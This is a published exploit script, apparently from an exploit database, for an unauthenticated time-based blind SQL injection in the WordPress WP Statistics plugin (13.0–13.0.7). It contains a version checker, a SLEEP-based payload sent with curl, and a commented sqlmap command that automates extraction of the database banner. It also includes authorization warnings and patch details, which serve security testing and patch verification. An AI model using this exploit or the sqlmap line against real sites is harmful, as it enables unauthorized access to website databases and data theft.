WordPress WP Statistics plugin versions 13.0 to 13.0.7 suffer from a remote unauthenticated blind SQL injection vulnerability.
# Exploit Title: WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated)
# Date: 20/05/2021
# Exploit Author: Mansoor R (@time4ster)
# CVSS Score: 7.5 (High)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
# Version Affected: 13.0 to 13.0.7
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
# Patch: Upgrade to wp-statistics 13.0.8 (or above)
# Tested On: wp-statistics 13.0.6,13.0.7
#!/bin/bash
# Credits:
# https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
# SQLmap Exploit for grepping database banner (automated):
# sqlmap -u "http://192.168.1.54/wordpress/wp-admin/admin.php?ID=1&page=wps_pages_page&type=1" --techniqu=T --dbms="mysql" -p "ID" -b
# WARNINGS:
# Only test the exploit on websites you are authorized to.
# The exploit will perform sleep for 3 seconds. Don't use on production server of organization without prior permissions.
# Exploit
# ==============
echo
echo "============================================================================================"
echo "Unauthenticated Time-Based Blind SQL Injection in WP Statistics < 13.0.8"
echo
echo "By: Mansoor R (@time4ster)"
echo "============================================================================================"
echo
function printHelp()
{
echo -e "
Usage:
-u|--wp-url <string> WordPress target url
-k|--check Only checks whether vulnerable version of plugin is running or not.
-h|--help Print Help menu
Example:
./wp-statistics-exploit.sh --wp_url https://www.example.com/wordpress
./wp-statistics-exploit.sh --wp_url https://www.example.com/wordpress --check
"
}
#Processing arguments
check="false"
exploit="true"
while [[ "$#" -gt 0 ]]
do
key="$1"
case "$key" in
-u|--wp-url)
wp_url="$2"
shift
shift # past argument
;;
-k|--check)
check="true"
exploit="false"
shift
shift
;;
-h|--help)
printHelp
exit
shift
;;
*)
echo [-] Enter valid options
exit
;;
esac
done
[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL. Use -h for help menu." && exit
function checkVersion()
{
url="$1"
[[ -z "$url" ]] && return
target_endpoint="$url/wp-content/plugins/wp-statistics/readme.txt"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
version=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -i -m 1 "stable tag:" | grep -o -E "[0-9]+.[0-9]+.[0-9]+")
[[ -n "$version" ]] && echo "[+] WP-statistical Plugin Version: $version"
[[ -z "$version" ]] && echo "[-] WP-statistical Unable to detect version." && return
vuln_version=(13.0.7 13.0.6 13.0.5 13.0.4 13.0.3 13.0.1 13.0)
is_vulnerable="false"
for v in "${vuln_version[@]}";do
[[ "$version" == "$v" ]] && is_vulnerable="true" && break
done
[[ "$is_vulnerable" == "true" ]] && echo "[++] Target $url is Vulnerable"
[[ "$is_vulnerable" == "false" ]] && echo "[--] Target $url is Not Vulnerable"
}
function exploitPlugin()
{
url="$1"
target_endpoint="$url/wp-admin/admin.php"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
sleep=3
payload="ID=1 AND (SELECT * from (select SLEEP($sleep))a)"
echo -e -n "[!] Caution: You are going to execute sleep database command for $sleep seconds. Proceed only if you have permission.nPress (Y/y) to continue or any other key to exit: "
read choice
[[ "$choice" != "y" ]] && [[ "$choice" != "Y" ]] && return
echo
echo "[+] Trying Payload:"
set -x
curl -v -ks -G --user-agent "$user_agent" "$target_endpoint"
--data-urlencode "page=wps_pages_page"
--data-urlencode "type=1"
--data-urlencode "$payload"
}
[[ "$check" == "true" ]] && checkVersion "$wp_url"
[[ "$exploit" == "true" ]] && exploitPlugin "$wp_url"